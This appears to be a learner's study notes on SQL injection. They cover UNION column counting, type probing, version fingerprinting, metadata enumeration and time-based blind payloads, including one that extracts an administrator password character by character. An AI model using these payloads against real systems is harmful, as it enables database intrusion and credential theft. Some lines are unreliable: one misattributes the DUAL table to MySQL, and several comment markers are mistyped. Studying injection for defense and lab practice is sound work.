

SQLI Vulnerability

Summary:

- For differentiating the db given in the lab (Oracle/non-oracle)
Use version fingerprinting,error triggering based sql queries
- UNION keyword enables you to execute one or more additional SELECT queries and append the results to the original query.

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

For a UNION query to work, two key requirements must be met:

- The individual queries must return the same number of columns.
- The data types in each column must be compatible between the individual queries.
- One method involves injecting a series of ORDER BY clauses and incrementing the specified column index until an error occurs.

' ORDER BY 1–

' ORDER BY 2–

' ORDER BY 3–

Why attackers prefer NULL

- Works with any data type
- Prevents conversion errors
- Faster than guessing actual value

The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values:

' UNION SELECT NULL--

```
' UNION SELECT NULL,NULL--  
' UNION SELECT NULL,NULL,NULL--
```

Sqli union attack Determines the number of columns returned by the query

In Oracle every SELECT query must use the FROM keyword and specify a valid table

Dual is a builtin table in mysql which contains the data for the dummy table which is used to select data without specifying a table name in the query

So the injected queries on Oracle would need to look like:

```
' UNION SELECT NULL FROM DUAL--
```

After you determine the number of required columns, you can probe each column to test whether it can hold string data. You can submit a series of UNION SELECT payloads that place a string value into each column in turn.

```
' UNION SELECT 'a',NULL,NULL,NULL--  
' UNION SELECT NULL,'a',NULL,NULL--  
' UNION SELECT NULL,NULL,'a',NULL--  
' UNION SELECT NULL,NULL,NULL,'a'--
```

If the column data type is not compatible with string data, the injected query will cause a database error, such as:

Conversion failed when converting the varchar value 'a' to data type int.

Oracle,Postgresql uses || for string concatenation:

Ex: || '~' ||

MYSQL : CONCAT(username,'~',password)

Examine the db in sqli attacks

info of db

- > type and version of the database
- > tables and columns in the database

To query db type and version

we need to inject provider-specific queries to see if one works

The following are some queries to determine the database version for some popular database types:

Database type	Query
Microsoft, MySQL	SELECT @@version
Oracle	SELECT * FROM v\$version , SELECT banner FROM v\$version
PostgreSQL	SELECT version()

payload for banner type and version in oracle

```
' UNION SELECT banner, NULL from v$version--
```

sqli attack querying the db type and version on mysql and microsoft sql server databases

payload for grabbing banner type and version in sql

```
' UNION SELECT @@version, NULL#  
' UNION SELECT @@version, NULL%23
```

Listing the contents of the non oracle database

Most database types (except Oracle) have a set of views called the information schema. This provides information about the database(metadata).

query information_schema.tables to list the tables in the database

```
SELECT * FROM information_schema.tables
```

query information_schema.columns to list the columns in individual tables

SQLI attack listing the database contents on non-oracle databases

2 columns

are there of string data type

retrieved table names from the non-oracle database

```
' UNION SELECT table_name,NULL from information_schema.tables --
```

```
UNION SELECT column_name, NULL FROM information_schema.columns  
WHERE table_name =
```

Database-Specific Metadata Tables Cheat Sheet			
DB	Tables	Columns	
MySQL	<code>information_schema.tables</code>	<code>information_schema.columns</code>	
PostgreSQL	<code>information_schema.tables</code>	<code>information_schema.columns</code>	
MSSQL	<code>information_schema.tables</code>	<code>information_schema.columns</code>	
Oracle	<code>all_tables</code>	<code>all_tab_columns</code>	

dual is a special dummy table in Oracle.

a fake 1-row table

all_tables

This is Oracle's metadata table.

It stores information about tables accessible to the current user.

all_tab_columns

This stores column information.

SUBSTRING(string, start, length)

LIMIT → to avoid errors and control output

CASE

WHEN condition THEN value1

ELSE value2

END

if condition is true → value1

if condition is false → value2

CAST() is used to convert one datatype into another datatype in SQL.

techniques for triggering a time delay are specific to the type of database being used.

on Microsoft SQL Server, you can use the following to test a condition and trigger a delay depending on whether the expression is true:

```
'; IF (1=2) WAITFOR DELAY '0:0:10'--
```

```
'; IF (1=1) WAITFOR DELAY '0:0:10'--
```

```
'; IF (SELECT COUNT(Username) FROM Users WHERE Username =  
'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY  
'0:0:{delay}'--
```

Postgresql example:

pg_sleep(10) is used in time-based blind SQL injection.
It pauses database execution for 10 seconds

Mysql example:
SLEEP(10)

Oracle uses
DBMS_LOCK.SLEEP(seconds)

SQL server uses
WAITFOR DELAY '0:0:10'